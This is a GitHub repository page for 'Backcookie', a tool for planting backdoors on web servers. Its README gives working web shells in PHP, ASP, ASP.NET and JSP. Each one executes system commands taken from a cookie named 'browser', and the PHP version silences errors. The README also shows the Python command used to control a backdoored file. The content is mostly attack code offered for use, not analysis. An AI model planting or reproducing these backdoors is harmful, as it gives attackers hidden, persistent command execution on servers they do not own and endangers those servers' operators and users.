Skip to content

HernanRodriguez1/Backcookie

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 

Repository files navigation

Backcookie

It is a tool that allows you to leave a backdoor on a given file on a web server in PHP,ASP,ASPX,JSP, through the connection between the server and the cookie (which works as an access key).

PHP

Put this script in a PHP file on the web server.

<?php error_reporting(0); system($_COOKIE["browser"]); ?>

Execution

We must specify the url with the file, and then the cookie.

python3 backcookie.py -d 'http://192.168.219.130/sistema/test.php' -c browser

image

ASP

<% 
On Error Resume Next 
dim cmd : cmd = Request.Cookies("browser") 
ExecuteGlobal(cmd) 
%> 

ASP .NET

<%@ Page Language="C#" %>
<% 
try
{ 
    string cmd = Request.Cookies["browser"].Value;
    System.Diagnostics.Process.Start("cmd.exe", "/c " + cmd);
} 
catch (Exception ex) 
{
    // handle error 
} 
%> 

JSP

<%
String cmd = request.getCookies()["browser"].getValue();
try
{
    Runtime.getRuntime().exec(cmd);
}
catch (Exception e)
{
    // handle error
}
%>

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages